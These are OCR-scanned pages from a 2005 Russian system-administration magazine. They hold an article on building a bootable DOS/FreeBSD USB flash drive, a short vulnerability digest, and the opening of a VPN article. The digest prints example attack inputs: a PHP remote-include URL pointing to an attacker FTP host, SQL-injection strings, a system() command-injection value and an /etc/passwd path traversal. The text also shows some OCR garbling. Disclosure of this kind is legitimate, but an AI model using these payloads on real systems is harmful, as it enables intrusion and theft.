Ranish, XOSL и MATTSoft не смогли загрузиться – про-цесс загрузки зависал сразу после появления идентифи-кационной надписи менеджера загрузок. Особенно обид-но было за Ranish – очень симпатичный менеджер разде-лов. Потом был обнаружен zBoot, который наконец-то смог загрузиться, а также ExtIPL и xFDisk. После установки ме-неджера загрузок (в тот момент им был zBoot) с помощью менеджера разделов Ranish Partition Manager был создан раздел для FreeBSD.

Почему для создания раздела не использовалась стан-дартная для FreeBSD программа /stand/sysinstall? Возник-ло подозрение, что раздел для FreeBSD, создаваемый че-рез sysinstall, тоже «немножко не такой», каким хотел бы его видеть менеджер загрузок. Ниже для сравнения при-водятся несколько укороченные отчеты fdisk по разделам, созданным с помощью /stand/sysinstall и с помощью Ranish Partition manager.

Раздел, созданный /stand/sysinstall:

# dd if=/dev/da0 of=seitek2000.dsk count=2000

# dd if=seitek2000.dsk of=/dev/da0

The data for partition 1 is:sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 2/ head 254/ sector 63

The data for partition 1 is:sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 32; end: cyl 23/ head 34/ sector 3The data for partition 2 is:sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 48195, size 455613 (222 Meg), flag 0 beg: cyl 23/ head 34/ sector 4; end: cyl 245/ head 63/ sector 32

Page 38: 034 Системный Администратор 09 2005

36

администрирование

Раздел, созданный Ranish Partiiton Manager:

Как совершенно очевидно, значения цилиндр-головка-сектор отличаются, хотя размер разделов одинаковый. Бо-лее того, эти цифры отличаются и от тех, что приведены в начале статьи в плане разделов! Они изменяются, когда команда disklabel записывает загрузчик FreeBSD. На са-мом деле, конечно же, все эти цифры условные. На Flash нет никаких цилиндров, головок и тому подобных вещей. Вся эта терминология идет от жестких дисков и оставлена для совместимости. Поэтому неудивительно, что все рабо-тает, несмотря на изменения цифр.

Как это ни странно, нормальный раздел FreeBSD через программу /stand/sysinstall создать не удалось – как толь-ко создавался раздел программой sysinstall, так при следу-ющей загрузке что-то непременно ломалось – переставал грузиться или DOS, или сам менеджер загрузок. Поэтому в следующей попытке раздел под FreeBSD был создан с по-мощью Ranish Partition Manager. Поскольку Ranish не может напрямую создать раздел FreeBSD, можно создать раздел любого типа, а потом отредактировать его тип. Тип разде-ла FreeBSD – 165 (при редактировании Ranish дает спи-сок типов, из которого следует выбрать нужный). Для тех, кто не хочет сам создавать разделы, существует файл xfidskboot.rar, ссылка на который приведена выше. Он со-держит два раздела с правильными значениями (образ снимался уже после установки FreeBSD). После создания раздела FreeBSD раздел DOS был заполнен программным обеспечением и началась установка FreeBSD.

Здесь все тоже оказалось весьма непросто. Стандар-тная программа установки /stand/sysinstall хоть и имеет возможность изменения «корневого каталога установ-ки», но не всегда этим параметром пользуется. Например, при установке пароля root, независимо от значения этого параметра, меняется пароль в /etc/master.passwd. На самом деле работа /stand/sysinstall – это последовательность вы-полнения некоторых операций, которые можно выполнить и вручную. И, собственно, первый этап – создание разде-ла для установки FreeBSD – мы уже сделали. Здесь надо отметить, что в данном контексте «раздел» – термин DOS, а не FreeBSD. Во FreeBSD это называется слайсом (slice). Слайс – это мета-раздел, для него всегда резервируется буква «c», которая не может быть использована для дру-гих разделов (например, /dev/ad0s2c). Иногда этот раздел (здесь «раздел» – уже терминология FreeBSD) еще назы-вают «описателем слайса», потому что он всегда описыва-ет все выделенное в слайсе пространство. Но сейчас в нем еще ничего не записано. Первым делом мы создаем внут-ри слайса описатель (раздел s2c) и один раздел с точкой монтирования «/», который будет использоваться как ко-рень файловой системы. Других разделов создавать не бу-

дем – диск и так не очень большой. Для создания разделов используем команду disklabel следующим образом:

Здесь /dev/da0s2 – имя слайса, на который будет установ-лена FreeBSD. Слайс (в терминологии DOS «раздел») /dev/da0s1 занят под DOS.

Команда disklabel создала необходимые разделы. Но монтировать еще пока нечего, disklabel – это «fdisk для разделов FreeBSD». Это часто вызывает путаницу – как это, разделы внутри разделов? Несмотря на кажу-щуюся сложность, это очень удобно. Дело в том, что раз-мер таблицы разделов (терминология DOS) не позволяет иметь более 4 разделов на одном диске. Ограничение это было введено еще во времена 20Мб жестких дисков и тог-да казалось вполне разумным. Со временем оно перерос-ло в стандарт, и, хотя уже давным-давно стало неудоб-ным, от него не отказываются. Различные менеджеры за-грузок обходят его, создавая свои таблицы разделов, кото-рые несовместимы друг с другом. FreeBSD Team поступи-ла просто – создается некий «мета-раздел», который был назван «слайсом», в котором находятся «разделы». Поэ-тому, сколько бы на самом деле не было файловых систем в слайсе FreeBSD, для менеджеров загрузок он выглядит всегда как один раздел.

Почему мы опять не используем для создания разделов в слайсе /stand/sysinstall? Потому что мной было замече-но, что при непосредственном создании разделов в слай-се через disklabel DEVFS создает устойство /dev/da0s2a, отражающее созданный раздел, а при создании разделов через /stand/sysinstall – создает почему-то /dev/da0s2d, не-смотря на то что /dev/da0s2a не существует (а разделы со-здаются строго по порядку).

Наконец раздел для FreeBSD создан. По умолчанию в нем отключено асинхронное обновление и отключено использование ACL. Проверить это можно в любое время командой tunefs:

Каковы будут наши дальнейшие шаги:! Создание файловой системы в разделе (через /stand/

sysinstall).! Установка программного обеспечения, входящего в ба-

зовую поставку (через /stand/sysinstall).! Копирование каталога /stand.! Установка загрузчика FreeBSD.! Реконфигурация ядра, записываемого на Flash.! Настройка конфигурационных файлов.! Установка дополнительного софта.! Настройка часового пояса (на загруженном Flash).

# disklabel -w /dev/da0s2

# tunefs -p /dev/da0s1a

The data for partition 1 is:sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 2/ head 254/ sector 63The data for partition 2 is:sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 48195, size 455612 (222 Meg), flag 0 beg: cyl 3/ head 0/ sector 1; end: cyl 31/ head 91/ sector 59

tunefs: ACLs: (-a) disabledtunefs: MAC multilabel: (-l) disabledtunefs: soft updates: (-n) disabledtunefs: maximum blocks per file in a cylinder group: (-e) 2048tunefs: average file size: (-f) 16384tunefs: average number of files in a directory: (-s) 64tunefs: minimum percentage of free space: (-m) 8%tunefs: optimization preference: (-o) timetunefs: volume label: (-L)

Page 39: 034 Системный Администратор 09 2005

37№9, сентябрь 2005

администрирование

Предварительно на компьютере, на котором произво-дится установка FreeBSD, на Flash необходимо создать точку (точки) монтирования для разделов DOS и FreeBSD. Допустим, эти точки монтирования созданы и называются /mnt/umass/dos для раздела DOS и /mnt/umass/ufs для раз-дела FreeBSD.

Запускаем /stand/sysinstall, выбираем пункт «Do post-install configuration of FreeBSD», затем «The disk Label editor», переводим курсор на da0, отмечаем его нажатием клавиши «пробел» и получаем экран FreeBSD Disklabel editor. Пере-водим курсор на строку da0s2a, нажимаем <M> и задаем точку монтирования, в которую будет смонтирована фай-ловая система после ее создания. Данная точка монтиро-вания может и не существовать, в этом случае она будет создана автоматически.

Внимание! Здесь задается точка монтирования в те-кущей системе, а не та точка, в которую данная файловая система будет смонтирована при загрузке!

Затем указываем, что файловая система требует созда-ния (это может быть не определено автоматически), нажав <T> (в колонке Part буква «N» должна смениться на «Y»), уби-раем признак асинхронного кэширования при записи фай-лов, нажав <S> (в колонке Newfs вместо «UFS2+S» долж-но появится «UFS2») и нажимаем <W> для записи внесен-ных изменений на Flash. После того как sysinstall сообщит о том, что файловая система создана, она будет смонти-рована в указанную точку.

Если вдруг при запуске /stand/sysinstall после сообще-ния «Probing devices, please wait...» вдруг происходит ава-рийное завершение работы sysinstall с диагностикой «BARF 107 <157>» или подобным (числа могут отличаться) – зна-чит, на одном из установленных жестких дисков уже созда-ны разделы, и sysinstall не смог правильно определить эти разделы. Обнаружить это можно также по наличию в ка-талоге /dev странных имен устройств типа ad0s1s1. Для то-го, чтобы не переставлять жесткий диск в другой компью-тер, можно просто стереть таблицу разделов следующей командой:

Внимание! Цифры в выделенном фрагменте могут от-личаться в зависимости от того, где установлен жесткий диск!

Для создания файловой системы можно было бы ис-пользовать и непосредственно newfs. Задаем такую ко-манду:

При этом все прочие параметры будут установлены по умолчанию (на самом деле мне никогда не приходи-лось их править).

Выходим из FreeBSD Disklabel editor (<Q>). Выбира-ем в меню «Install additional distribution sets». После выбо-ра мы попадаем в меню «Select the distributions you wish to install». Выбираем (отмечаем нажатием клавиши «про-бел») пакеты base, compat4x и man. Клавишей <Tab> пе-реходим на <OK>, попадаем в меню «Choose installation

media». Здесь, прежде чем начать выбирать, что ставить, обязательно нужно изменить «корень инсталлируемой сис-темы» – install root. Потом это сделать не будет возможнос-ти. В меню «Choose installation media» выбираем самый пос-ледний пункт «Go to the Option Screen», переводим курсор на пункт «Install root» (стрелкой вниз, по-другому не полу-чится), нажимаем пробел, вводим «/mnt/umass/ufs» в по-явившееся окно и нажимаем <Q> для выхода обратно к «Choose installation media». Выбираем носитель, который содержит дистрибутив FreeBSD. Я рекомендую устанавли-вать или с существующей файловой системы («Install from an existing filesystem»), или с раздела DOS («Install from a DOS partition»). Инструкция о том, как разместить дистри-бутив на разделе DOS, приводится в [15]. Почему? Запись на Flash идет медленно, если дистрибутив устанавливает-ся, например, по FTP, то в зависимости от сервера соеди-нение с ним будет время от времени прерываться, програм-ма /stand/sysinstall будет выводить заново экран «Choose installation media». Это не страшно, после повторного ввода инсталляция продолжится заново, но очень надоедает. Пос-ле выбора источника дистрибутива sysinstall может спро-сить «Running multi-user, network already configured?», отве-чаем «Yes», начинается установка. Индикатор на экране от-ражает состояние установки каждого пакета. Установка вы-бранных пакетов может идти достаточно долго – один или даже несколько часов. Программа установки обязательно должна завершить работу и вернуться в меню «FreeBSD configuration». Если во время установки появляется экран «Choose installation media», значит, возник тайм-аут на со-единении с носителем и необходимо еще раз указать все настройки. Это может происходить неоднократно, никак не влияя на процесс установки, но очень надоедает раза пос-ле третьего, и именно поэтому я советовал устанавливать с существующей системы или DOS-раздела.

После завершения установки всех пакетов выходим из /stand/sysinstall. Теперь у нас есть вся базовая система пол-ностью, в том числе GENERIC ядро, /boot и все, что необхо-димо для загрузки. Единственное, что не переносится при ручной установке – каталог /stand. Перенос каталога /stand выполняется следующей командой:

где /mnt/umass – точка в которую был смонтирован раздел FreeBSD. На вашей системе она скорее всего будет дру-гой. (Данная команда была взята из исходных текстов са-мой sysinstall).

Теперь нужно установить загрузчик ядра FreeBSD на тот раздел («слайс»), в который инсталлирована FreeBSD. Де-лается это командой disklabel:

Код загрузчика будет взят из файла /boot/boot, кото-рый уже к этому времени создан в процессе установки системы.

Итак, система загружается. Это было тут же провере-но, и тут же zBoot меня очень сильно разачаровал – ока-зывается, по непонятным причинам он не способен за-

# dd if=/dev/zero of=/dev/da0 bs=512 count=63

# newfs -O2 /dev/da0s2a

# Þnd -x /stand | cpio -pdum /mnt/umass/ufs

# disklabel -B da0s2

Page 40: 034 Системный Администратор 09 2005

38

администрирование

грузить FreeBSD. Пришлось загрузить DOS и установить xFDisk, который загружает как DOS, так и FreeBSD без вся-ких проблем.

Первые версии FlashBOOT использовали в качестве менеджера загрузки GRUB, но впоследствии я перешел на конфигурируемые из DOS менеджеры, потому что установка DOS проходит значительно быстрее, чем ус-тановка FreeBSD – достаточно записать на Flash файл seitek2000.dsk, описание и ссылка на который приводи-лась выше, – и вот установлена чистая DOS без единой дополнительной программы.

Реконфигурация ядра делается стандартным спосо-бом – создается файл конфигурации ядра, в который впи-сываются все необходимые опции и устройства, выполня-ется команда:

Здесь Flash – имя файла конфигурации ядра, который дол-жен быть создан заранее, /mnt/umass/ufs – точка монти-рования, куда был смонтирован раздел FreeBSD с Flash. При этом старый каталог ядра /mnt/umass/ufs/boot/kernel будет переименован в /mnt/umass/ufs/boot/kernel.old. Ес-ли необходимо использовать модули (все или ту часть, ко-торая перечислена в MODULES_OVERRIDE= в файле /etc/make.conf), то дополнительно нужно сделать:

При этом модули будут помещены или в каталог яд-ра /mnt/umass/ufs/boot/kernel или в каталог модулей /mnt/umass/ufs/boot/modules. Подробнее о процессе пересбор-ки ядра написано в [14].

Настройка конфигурационных файлов заключается главным образом в создании или редактировании тех фай-лов, которые при установке через /stand/sysinstall создают-ся автоматически.

Это файл /etc/fstab, в который нужно вписать строки:

Если этот файл изначально отсутствует, создайте его, например командой touch:

Это файл /etc/motd, который содержит приветствие, вы-водимое при регистрации в системе. Впрочем, его можно и не создавать. Образец файла приведен ниже.

Это файл /etc/rc.conf, который содержит все настройки системы. Файл /etc/rc.conf, присутствующий в выложенном образе, приведен здесь с комментариями:

Перед первой загрузкой обязательно нужно очистить каталоги /mnt/umass/ufs/tmp и /mnt/umass/ufs/var, потому что создание MFS для /tmp и /var при загрузке c Flash вы-полняется только в том случае, если они пустые. В катало-ге /mnt/umass/ufs/var обычно имеется каталог empty с ат-рибутами schg (System Immutable), который можно увидеть по команде:

Для его удаления сначала нужно снять с него атрибут schg:

Последнее, что нужно сделать, – установить дополни-тельное программное обеспечение, не входящее в базо-вую поставку, но желательное, потому что здорово облег-чает жизнь (эта фраза, несомненно, вызовет бурю возму-щения со стороны «настоящих» юниксоидов, которые счи-тают, что пользоваться каким-либо редактором, кроме vi – есть признак ламера). Список софта, который был установ-лен, приведен выше. К сожалению, я не нашел возможнос-ти устанавливать софт прямо из портов с указанием целе-вого каталога и каталога для хранения базы установлен-ных программ, поэтому необходимый софт был запакован в пакеты командой (например):

после чего файл mc-4.6.0_11.tgz (и другие нужные нам па-кеты, список приведен в начале статьи) был перенесен на Flash в каталог /usr/tmp для его последующей установки в системе, загруженной непосредственно с Flash. Таким об-разом, в /usr/tmp были записаны все необходимые пакеты, которые потом, после установки будут удалены. Для того чтобы отслеживать изменение состояния софта, который не входит в базовую поставку, каталоги pkg и ports, которые обычно размещаются в /var/db, вынесем в /usr/share/db. Что-

# less /etc/motd

FreeBSD 5.4-RELEASE (Sentry) #3: Thu Jul 21 19:50:40NOVST 2005

This is only LiveFlash maintenatce system. You should know,what you want to do.

#less /etc/rc.conf

rc _ conf _ Þles="/etc/rc.conf"tmpmfs="YES" # Создаем MFS для монтирования ее в /tmptmpsize="20m" # Задаем ее размер 20 Мбvarmfs="YES" # Создаем MFS для монтирования ее в /varvarsize="32m" # Задаем ее размер 32 Мб# В сетевых интерфейсах только lo0, ни одной сетевой картыnetwork _ interfaces="lo0"hostname="usbßash" # Это просто наше имяÞrewall _ enable="YES" # Да! Здесь есть Þrewall. # Только он не запущен.Þrewall _ type="open"log _ in _ vain="YES"tcp _ drop _ synÞn="YES"tcp _ extensions="YES"tcp _ restrict _ rst="YES"inetd _ enable="NO" # Не запускать inetdsendmail _ enable="NONE" # Не запускать sendmail вообщеportmap _ enable="NO" # Не запускать portmap

font8x8="koi8-r-8x8"font8x14="koi8-r-8x14"font8x16="koi8-rb-8x16"keyrate="fast"keymap="ru.koi8-r"ldconÞg _ paths="/usr/lib/compat /usr/local/lib"

# cd /var# ls -lo | grep empty

dr-xr-xr-x 2 root wheel schg 512 Nov 5 2004 empty

# cd /var# chßags noschg empty

# cd /var/db/pkg# pkg _ create -b mc-4.6.0 _ 11

# cd /usr/src# make kernel KERNCONF=Flash DESTDIR=/mnt/umass/ufs

# cd /sys/modules# make all install DESTDIR=/mnt/umass/ufs

# Device Mountpoint FStype Options Dump Pass#/dev/da0s2a / ufs rw 1 1

# touch /etc/fstab

Page 41: 034 Системный Администратор 09 2005

39№9, сентябрь 2005

администрирование

бы система знала, где ей искать эти каталоги, в файле /root/.cshrc установим следующие переменные окружения:

На этом наша работа непосредственно по созданию Flash закончена и начинается деятельность по ее перво-начальной настройке, которую необходимо провести не-посредственно в системе, загруженной с Flash. Заодно при этом проверим, что ничего не поломали в процессе ус-тановки. (На самом деле здесь нет ничего смешного – в про-цессе создания Flash мне пришлось один раз откатывать-ся на самое начало из-за того, что по непонятным причи-нам перестал грузиться DOS.)

Первоначальная настройкаИтак, заходим в BIOS, настраиваем наш компьютер на за-грузку с USB, перегружаемся и видим наконец-то загру-зочное меню xFDisk. Выбираем раздел FreeBSD. Загрузка с Flash идет значительно медленнее, чем с жесткого диска, но, конечно, значительно быстрее, чем с дискет.

После загрузки системы первым делом устанавлива-ем дополнительные программы, пакеты которых мы за-ботливо сложили в /usr/tmp. Делаем это, как обычно, ко-мандой pkg_add:

Если устанавливаемый пакет зависит от другого паке-та, и этот пакет присутствует в каталоге, из которого запу-щен pkg_add, то он будет молча установлен. Если же pkg_add не находит пакета, от которого зависит устанавливае-мый, то установка будет прервана:

После установки всех необходимых пакетов обязатель-но нужно выполнить две важные вещи, которые не забывает /stand/sysinstall, а именно – задать пароль пользователя root и настроить часовой пояс. Отсутствие в системе настроен-ного часового пояса не влияет на даты создания или изме-нения файла, поскольку они хранятся в «Unix time» (число секунд с 1 января 1970 г.), но влияет на значение даты, вы-водимой по команде date, подставляемой во все текстовые журналы, и отображаемой всеми командами.

Изменить пароль пользователя root просто:

Для настройки часового пояса воспользуемся /stand/sysinstall. Выбираем в главном меню «Do post-install configuration of FreeBSD», затем «Set which time zone you’re in». На вопрос «Is this machine clock set to UTC» отве-чаем по умолчанию (а по умолчанию стоит «No», и это нам подходит). Затем выбираем регион (Asia), страну (Russian Federation) и подходящий часовой пояс. В меню «Russian

Federation Time Zones» часовые пояса указаны относи-тельно Москвы. Допустим, мы выбрали зону «Moscow+03 – Novosibirsk». На последний вопрос «Does the abbreviation ‘NOVST’ look reasonable?» отвечаем утвердительно и вы-ходим из программы /stand/sysinstall.

После установки часового пояса нужно немного почис-тить Flash. В стандартной поставке присутствует достаточ-ное количество файлов и каталогов, которые никогда и ни-кому не понадобятся. Это каталоги, содержащие информа-цию о том, какие денежные единицы в Бурунди, и сообще-ния для некоторых программ на иврите и франко-канадс-ком, а также некоторая документация по системе. И пусть они не так уж и много места занимают – на Flash вообще места немного. Хотя, например, объем каталога /usr/local/share/locale может достигать десятков мегабайт.

Итак:! Каталоги /usr/share/locale и /usr/local/share/locale – уда-

ляем все, что не ru_RU, en_GB, en_US, la_LN. Оставля-ем также UTF-8 и bg_BG.CP1251. Последний использу-ется в ru_RU.CP1251.

! Каталоги /usr/share/nls и /usr/local/share/nls – точно так же удаляем все, что не ru_RU, en_GB, en_US, la_LN. Ос-тавляем также C, POSIX и bg_BG.CP1251. Последний по причине, изложенной выше.

! Каталог /usr/share/doc – удаляем полностью. Вряд ли нам понадобится та документация, что там хранится.

! Каталог /usr/share/info – удаляем полностью. Точно так же (хотя, конечно, эти каталоги можно и не удалять).

Всё! Выполняем последнюю проверку на то, что в про-цессе установки FreeBSD ничего не было поломано (а такое однажды случилось) путем загрузки поочередно FreeBSD и DOS.

Возможные ошибкиПроцесс создания Flash очень критичен к ошибкам. Малей-шая неточность – и все приходится начинать сначала. По-этому, приступая к созданию собственного образа, снача-ла обдумайте, а стоит ли это делать, может, проще развер-нуть готовый и модифицировать его?

Помните, что:! Далеко не все Flash распознаются программами типа

Acronis Disk Director/Partition Magic как жесткие диски. Это значит, что из-под DOS/Windows создать раздел нужного размера будет невозможно. Если при установ-ке Flash в компьютер с Windows Acronis Disk Director/Partition Magic его не видит, значит, Flash распознан как сменный носитель и создать на нем раздел можно толь-ко записью образа seitek2000.dsk так, как описано в на-чале раздела «Создание». Некоторые Flash-диски, на-пример Transcend JetFlash, имеют в своем составе спе-циальные утилиты, позволяющие переключаться меж-ду режимами «жесткий диск» и «сменный носитель».

! Если устанавливаете какой-либо не перечисленный мной менеджер загрузок, сначала скопируйте область загрузчика в файл, чтобы потом можно было его вос-становить в случае, если он не заработает:

setenv PKG _ DBDIR /usr/share/db/pkgsetenv PORTS _ DBDIR /usr/share/db/ports

# pkg _ add mc-4.6.0 _ 11.tgz

# pkg _ add mc-4.6.0 _ 11.tgz

pkg_add: could not find package pkgconfig-0.17.0 !

# passwd root

Changing local password for rootNew Password:Retype New Password:

# dd if=/dev/da0 of=backup.dsk count=63

Page 42: 034 Системный Администратор 09 2005

40

администрирование

! После установки менеджера загрузок обязательно про-верьте, что и DOS, и FreeBSD загружаются. Появление меню менеджера загрузок – еще не показатель его ра-боты.

! Не загружайте драйвера USB for DOS, если на компью-тере USB клавиатура или мышь, в момент инициализа-ции драйвера клавиатура (мышь) обязательно завис-нет.

! Если стандартный FDISK для DOS говорит, что на раз-деле DOS UNKNOWN filesystem – значит, раздел DOS создан неправильно.

! Если при создании файловой системы в пустом слайсе FreeBSD она помещается на /dev/da0s2d, а не на /dev/da0s2a, выйдите из sysinstall и создайте файловую сис-тему вручную, как было описано выше.

! Если при копировании какого-либо базового пакета по-является окно «Choose installation media» – не паникуй-те. Это просто оборвалась связь с сервером, с которо-го берется дистрибутив. Укажите, где расположен дис-трибутив заново. Запись на Flash идет долго, поэтому перед тем, как устанавливать систему на Flash, лучше скопируйте дистрибутив на локальный диск.

! При генерации пароля пользователя root, при созда-нии дополнительных пользователей и при настройке часового пояса sysinstall всегда изменяет файлы в /etc, а не в «Install Root».

! Указывать Install Root следует после того, как были со-зданы файловые системы. Во время создания файло-вых систем они монтируются в те точки, которые зада-ются на экране FreeBSD Disklabel editor, так что если вы зададите Install Root в самом начале, то созданные фай-ловые системы будут смонтированы, например, в /mnt/tmp/mnt/tmp вместо /mnt/tmp.

! Обязательно дождитесь завершения работы sysinstall, когда она устанавливает базовые пакеты. Даже если на экране ничего не обновляется, процесс работы можно отслеживать по индикатору Flash – как правило, он ми-гает, когда идет процесс чтения/записи данных.

ЗаключениеРаньше непременным атрибутом каждого системного ад-министратора была загружаемая дискета (или несколь-ко дискет), с которой выполнялась и установка систем, и их проверка. Но дисковод гибких дисков – ненадежная вещь, да и емкость дискеты невелика.

Загружаемая Flash, описанная здесь, может пригодить-ся любому системному администратору – и тому, у которо-го под столом стоит единственный сервер, и тому, у кото-рого в серверной ряды стоек, забитых 19" корпусами, по-тому что позволяет отказаться от такой ненадежной вещи, как дисковод гибких дисков и не устанавливать в корпус привод CD-ROM.

Пусть работать с ним не так просто, как хотелось бы, за-то возможности его практически равны возможности нор-мальной FreeBSD. Установил Flash в корпус, поставил до-статочное количество ОЗУ и перенаправление журнальной информации – и вот, пожалуйста, готовый маршрутизатор. Запустил Disk Editor c раздела DOS – и можно попытаться восстановить удаленный файл. Запустил MHDD – и мож-

но попытаться протестировать и восстановить диск на са-мом нижнем уровне.

Я благодарю Александра Дёмина, сетевого администра-тора из московской группы компаний «Спектрум», за пре-доставленный хостинг файла образа Flash.

Литература и ссылки:1. http://frenzy.org.ua – домашняя страница проекта

Frenzy.2. http://www.mecronome.de/xfdisk – домашняя страница

менеджера загрузок xFDisk.3. http://www.symon.ru – домашняя страница менеджера

загрузок SyMon.4. http://www.ranish.com/part – домашняя страница програм-

мы Ranish Partition Manager.5. http://www2.arnes.si/~fkomar/xosl.org – домашняя страни-

ца менеджера загрузок XOSL.6. http://www.penguin.cz/~mhi/mbtmgr – домашняя страни-

ца менеджера загрузок MATTSoft Bootmanager.7. http://www.zbmsoft.com – домашняя страница менедже-

ра загрузок zBoot.8. http://www.granch.ru/~shelton/fileZ/flashboot/seitek2000.

rar – начальный образ Flash-диска. Один раздел DOS 23 Мб, без менеджера загрузок. Контрольная сумма MD5 файла равна: MD5 (seitek2000.rar) = fff2b36eda90f2ff9558e588c7afbc55. Длина файла в упакованном виде 514006 байт, в распакованном 1024000 байт (2000 сек-торов по 512 байт).

9. http://www.granch.ru/~shelton/fileZ/flashboot/seitek2000.fdisk – отчет fdisk, созданный по образу seitek2000.dsk при монтировании этого образа RAM-диском.

10. http://www.granch.ru/~shelton/fileZ/flashboot/booteasy.rar – образ области загрузчика (первые 63 сектора). Два раз-дела (DOS и FreeBSD). Контрольная сумма MD5 файла равна: MD5 (booteasy.rar) = 67f70ae4fbda870d7eb64fdc07f649ac. Длина файла в упакованном виде 7330 байт, в рас-пакованном виде 32256 байт (63 сектора по 512 байт).

11. http://www.granch.ru/~shelton/fileZ/flashboot/booteasy.fdisk – отчет fdisk, созданный по образу booteasy.dsk при монтировании этого образа RAM-диском.

12. http://www.granch.ru/~shelton/fileZ/flashboot/xfdiskboot.rar – образ области загрузчика (первые 63 сектора). Два раздела (DOS и FreeBSD). Контрольная сумма MD5 файла равна: MD5 (xfdiskboot.rar) = 0a1b605ebe9994fb8eaad4b134dd02aa. Длина файла 19852 байта в упако-ванном виде, 32256 в распакованном виде (63 секто-ра по 512 байт).

13. http://www.granch.ru/~shelton/fileZ/flashboot/xfdiskboot.fdisk – отчет fdisk, созданный по образу xfdiskboot.dsk при монтировании этого образа RAM-диском.

14. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig-building.html – Глава 8, пункт 3 «Ру-ководства пользователя FreeBSD», посвященная пере-сборке ядра.

15. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install-diff-media.html – Глава 2, пункт 2.13.4 «Руководства пользователя FreeBSD», посвященная подготовке собственных источников установки, в том числе и c раздела DOS.

Page 43: 034 Системный Администратор 09 2005

41№9, сентябрь 2005

bugtraq

Отказ в обслуживании в Mozilla FirefoxПрограмма: Mozilla Firefox версии до 1.0.7.Опасность: Средняя.Описание: Удаленный пользователь может создать Proxy Auto-Config (PAC)-сценарий со специально сформирован-ным значением eval(), который, при загрузке, аварийно за-вершит работу браузера.URL производителя: http://www.mozilla.org/products/firefox.Решение: Установите исправленную версию (1.0.7) с сай-та производителя. Целочисленное переполнение в PCRE

в веб-сервере ApacheПрограмма: Apache 2.0.54 и более ранние версии.Опасность: Низкая.Описание: Целочисленное переполнение буфера сущес-твует при обработке .htaccess-файла. Локальный пользо-ватель может создать специально сформированный файл и повысить свои привилегии на системе.URL производителя: www.apache.org.Решение: Установите исправление с сайта производите-ля.

Составил Александр Антипов

PHP-инклудинг в AutoLinks ProПрограмма: AutoLinks Pro 2.1.Опасность: Критическая.Описание: Уязвимость существует в сценарии autolinks/al_initialize.php при обработке входных данных в парамет-ре alpath при включенной опции register_globals в конфигу-рационном файле php.ini. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP-сценарий на целевой системе с приви-легиями веб-сервера. Пример:

Примечание: Сценарий атакующего должен быть на-зван al_functions.php.URL производителя: www.scriptscenter.com/autolinks.Решение: В настоящее время способов устранения уязви-мости не существует.

http://[target]/al _ initialize.php?alpath=ftp://[attacker]/SQL-инъекция в Oracle ReportsПрограмма: Oracle Reports.Опасность: Средняя.Описание: Уязвимость существует в реализации Lexical Reference – контейнере, содержащем данные, которые до-бавляются в SELECT-запрос. Удаленный пользователь мо-жет изменить SQL-запрос в секциях, следующих за SELECT, FROM, WHERE, GROUP BY, ORDER BY, HAVING, CONNECT BY и START WITH. При использовании Lexical Reference уда-ленный пользователь может изменить SQL-запрос с помо-щью специально сформированного URL. Пример:

URL производителя: www.oracle.com.Решение: В настоящее время способов устранения уязви-мости не существует.

http://myserver:8889/reports/rwservlet?report= ↵ sqlinject3.rdf+userid=scott/tiger@ora9206+destype= ↵ CACHE+desformat=HTML+paramform=yes

SQL-инъекция в MailgustПрограмма: Mailgust 1.9.Опасность: Средняя.Описание: Уязвимость позволяет удаленному пользовате-лю выполнить произвольные SQL-команды в базе данных приложения. Уязвимость существует в сценарии gorum/user_email.php опции «PHP magic quotes». Удаленный поль-зователь может с помощью специально сформированно-го запроса выполнить произвольные SQL-команды в базе данных приложения. Пример:

URL производителя: www.mailgust.org.Решение: В настоящее время способов устранения уязви-мости не существует.

[your _ email],'or'a'='a'/*@hotmail.com

PHP-инклудинг в WebCalendarПрограмма: WebCalendar версии до 1.0.1.Опасность: Критическая.Описание: Уязвимость существует из-за недостаточной обработки входных данных в параметре includedir файла includes/functions.php. Удаленный пользователь может с по-мощью специально сформированного URL выполнить про-извольный PHP-сценарий на целевой системе с привиле-гиями веб-сервера.URL производителя: www.k5n.us/webcalendar.php.Решение: Установите последнюю версию (1.0.1) с сайта производителя.

PHP-инклудинг и обход каталога в PBLangПрограмма: PBLang 4.65.Опасность: Критическая.Описание: При регистрации пользователя создается файл в каталоге /db/members, содержащий данные пользовате-ля. Удаленный пользователь может с помощью специаль-но сформированного значения переменной ‘location’ вы-полнить произвольный PHP-сценарий на целевой систе-ме. Пример:

Затем пользователь может выполнить произвольный PHP-сценарий. Пример:

Сценарий setcookie.php недостаточно обрабатывает входные данные в параметре u. Удаленный пользователь может с помощью специально сформированного URL про-смотреть произвольные файлы на системе. Пример:

URL производителя: www.pblang.drmartinus.de.Решение: В настоящее время способов устранения уязви-мости не существует.

madrid"; system($HTTP _ POST _ VARS[cmd]); echo "

http://[target]/[path]/setcookie.php?u=[username]%00

http://target]/[path]/pblang/setcookie.php?u=. ./../../../../etc/passwd%00

Page 44: 034 Системный Администратор 09 2005

42

администрирование

Сегодня мы создадим систему, которая обеспечит пользователям локальной сети доступ в Интернет. Для передачи данных внутри сети будем использо-

вать технологию VPN. Подсчет интернет-трафика ведет-ся с помощью биллинговой системы FreeNIBS. Настрой-ка производилась в популярном российском дистрибути-ве ALT Linux Master 2.4.

Напомню, что аббревиатура VPN расшифровывает-ся как Virtual Private Network – виртуальная частная сеть. Суть этой технологии заключается в том, что при подклю-чении к VPN-серверу при помощи специального програм-много обеспечения поверх общедоступной сети в уже уста-новленном соединении организуется зашифрованный ка-нал, через который передается интернет-трафик.

Одним из вариантов применения этой технологии явля-ется предоставление компьютерам локальной сети выхо-да в Интернет. То есть на сервере, имеющем выход в Ин-тернет, работает служба, которая при подключении к ней клиентского компьютера предоставляет ему доступ к гло-бальной сети.

